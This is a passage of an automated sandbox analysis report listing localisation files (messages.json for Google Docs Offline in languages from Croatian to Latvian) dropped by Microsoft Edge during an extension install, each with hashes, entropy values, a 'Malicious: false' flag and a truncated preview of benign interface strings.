Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
